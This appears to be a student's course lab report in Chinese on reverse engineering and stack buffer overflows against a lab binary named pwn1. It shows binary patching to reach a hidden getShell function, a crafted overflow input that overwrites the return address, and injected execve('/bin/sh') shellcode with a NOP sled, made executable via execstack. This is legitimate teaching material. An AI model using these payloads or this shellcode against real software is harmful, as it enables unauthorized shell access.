20155308《網絡攻防》 Exp1 PC平臺逆向破解(5)M

20155308《網絡攻防》 Exp1 PC平臺逆向破解(5)M

逆向及Bof基礎實踐說明

1.1 實踐目標

1. 本次實踐的對象是一個名爲pwn1的linux可執行文件。
2. 該程序正常執行流程是：main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
3. 該程序同時包含另外一個代碼片斷，getShell，會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷，而後學習如何注入運行任何Shellcode。

• 三個實踐內容

1. 手工修改可執行文件，改變程序執行流程，直接跳轉到getShell函數。
2. 利用foo函數的Bof漏洞，構造一個攻擊輸入字符串，覆蓋返回地址，觸發getShell函數。
3. 注入一個本身製做的shellcode並運行這段shellcode。

• 思路

1. 運行本來不可訪問的代碼片斷
2. 強行修改程序執行流
3. 以及注入運行任意代碼。

1.2 基礎知識

• Linux基本操做
  參考網頁

https://www.cnblogs.com/crazylqy/p/5818745.html

http://blog.csdn.net/zl_best/article/details/53504712

• Bof的原理

緩衝區溢出是一種很是廣泛、很是危險的漏洞，在各類操做系統、應用軟件中普遍存在。利用緩衝區溢出攻擊，能夠致使程序運行失敗、系統宕機、從新啓動等後果。更爲嚴重的是，能夠利用它執行非受權指令，甚至能夠取得系統特權，進而進行各類非法操做。

攻擊原理：

經過往程序的緩衝區寫超出其長度的內容，形成緩衝區的溢出，從而破壞程序的堆棧，形成程序崩潰或使程序轉而執行其它指令，以達到攻擊的目的。形成緩衝區溢出的緣由是程序中沒有仔細檢查用戶輸入的參數。例以下面程序：

void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}

上面的strcpy()將直接把str中的內容copy到buffer中。這樣只要str的長度大於16，就會形成buffer的溢出，使程序運行出錯。存在象strcpy這樣的問題的標準函數還有strcat()，sprintf()，vsprintf()，gets()，scanf()等。

固然，隨便往緩衝區中填東西形成它溢出通常只會出現「分段錯誤」（Segmentation fault），而不能達到攻擊的目的。最多見的手段是經過製造緩衝區溢出使程序運行一個用戶shell，再經過shell執行其它命令。若是該程序有root或者suid執行權限的話，攻擊者就得到了一個有root權限的shell，能夠對系統進行任意操做了。

• 會使用gdb,vi

參考網頁

http://blog.csdn.net/luoying198791/article/details/20715499

實踐一：直接修改程序機器指令，改變程序執行流程

• 知識要求：Call指令，EIP寄存器,指令跳轉的偏移計算，補碼，反彙編指令objdump，十六進制編輯工具
• 學習目標：理解可執行文件與機器指令
• 進階：掌握ELF文件格式，掌握動態技術

實驗過程：

1. 首先進行文件的拷貝，防止出現操做錯誤，使得源文件被改變。

1. 經過objdump -d pwn1_20155308命令對文件進行反彙編。

1. 關注這幾個部分

1. 經過命令vi pwn1_20155308編輯文件，經過命令:%! xxd把文件轉爲十六進制編輯模式

1. 經過命令/d7ff查找要修改的內容

main函數調用foo，對應機器指令爲「 e8 d7ffffff」，
那咱們想讓它調用getShell，只要修改「d7ffffff」爲，"getShell-80484ba"對應的補碼就行。
用Windows計算器，直接 47d-4ba就能獲得補碼，是c3ffffff。

1. 輸入i進入編輯模式，即把d7爲c3
2. 輸入命令:%! xxd -r將文件轉回至二進制形式
3. 輸入:wq保存並退出
4. 經過objdump -d pwn1_20155308命令對文件進行反彙編，觀察到程序已從原來跳轉至foo函數變爲跳轉至getshell函數

實驗結果：

實踐二；經過構造輸入參數，形成BOF攻擊，改變程序執行流

• 知識要求：堆棧結構，返回地址 學習目標：理解攻擊緩衝區的結果，掌握返回地址的獲取 進階：掌握ELF文件格式，掌握動態技術

反彙編，瞭解程序的基本功能

objdump -d pwn1 | more

注意這個函數getShell，咱們的目標是觸發這個函數

該可執行文件正常運行是調用以下函數foo，這個函數有Buffer overflow漏洞

這裏讀入字符串，但系統只預留了__字節的緩衝區，超出部分會形成溢出，咱們的目標是覆蓋返回地址

上面的call調用foo,同時在堆棧上壓上返回地址值:++80484ba++

如今咱們須要確認輸入的字符串哪幾個字符會覆蓋到返回地址

輸入命令gdb pwn2_20155308進行調試

經過命令r進行運行，經過命令info r可查看各寄存器的值

若是輸入字符串1111111122222222333333334444444412345678，那 1234 那四個數最終會覆蓋到堆棧上的返回地址，進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲 getShell 的內存地址，輸給pwn1，pwn1就會運行getShell。

確認用什麼值來覆蓋返回地址

getShell的內存地址，經過反彙編時能夠看到，即0804847d。

接下來要確認下字節序，簡單說是輸入11111111222222223333333344444444\x08\x04\x84\x7d,仍是輸入11111111222222223333333344444444\x7d\x84\x04\x08。

對比以前 ==eip 0x34333231 0x34333231== ，正確應用輸入 ==11111111222222223333333344444444\x7d\x84\x04\x08==。

構造輸入字符串

由爲咱們無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值，因此先生成包括這樣字符串的一個文件。\x0a表示回車，若是沒有的話，在程序運行時就須要手工按一下回車鍵。

實踐三：注入Shellcode並執行

• shellcode就是一段機器指令（code）
  一般這段機器指令的目的是爲獲取一個交互式的shell（像linux的shell或相似windows下的cmd.exe），
  因此這段機器指令被稱爲shellcode。
  在實際的應用中，凡是用來注入的機器指令段都通稱爲shellcode，像添加一個用戶、運行一條指令。
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最基本的shellcode的編寫可參考許同窗的文章Shellcode入門，寫得很是之清楚詳實。如下實踐即便用該文章中生成的shellcode。以下：

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

準備工做

◦輸入命令execstack -s pwn1
設置堆棧可執行。可是系統提示「未找到命令」，則應輸入命令apt-get install execstack進行安裝。系統會提示產生一下錯誤，我上網尋找了答案，應該輸入如下命令給它管理員權限。

以後根據命令輸入。

構造要注入的payload

• Linux下有兩種基本構造攻擊buf的方法：

1. retaddr+nop+shellcode
2. nop+shellcode+retaddr。

-由於retaddr在緩衝區的位置是固定的，shellcode要不在它前面，要不在它後面。

簡單說緩衝區小就把shellcode放後邊，緩衝區大就把shellcode放前邊

-咱們這個buf夠放這個shellcode了。
結構爲：nops+shellcode+retaddr。
nop一爲是了填充，二是做爲「着陸區/滑行區」。
咱們猜的返回地址只要落在任何一個nop上，天然會滑到咱們的shellcode。

root@KaliYL:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

接下來咱們來肯定\x4\x3\x2\x1到底該填什麼。

個人這個部分在文檔裏忽然出錯，而後怎麼解決都沒有解決，因此我到桌面上繼續進行這個方面的實踐。

打開一個終端注入這段攻擊buf：

(cat input_shellcode;cat) | ./pwn1_20155308

再開另一個終端，用gdb來調試pwn1這個進程。

注意運行時的這個地址

計算出地址應爲0xffffd300

再次攻擊，成功了！！

感想

本次實驗是關於PC平臺逆向破解的實驗，在課堂上老師已經對本次實驗進行了講解，而且咱們在課堂上已經實現了一部分，因此感受課下的工做並非很難。 經過本次實驗，我對於本課的知識有了必定的瞭解，而且以爲若是想要學好這門課，必定要作好課上認真聽講，課下進行實踐。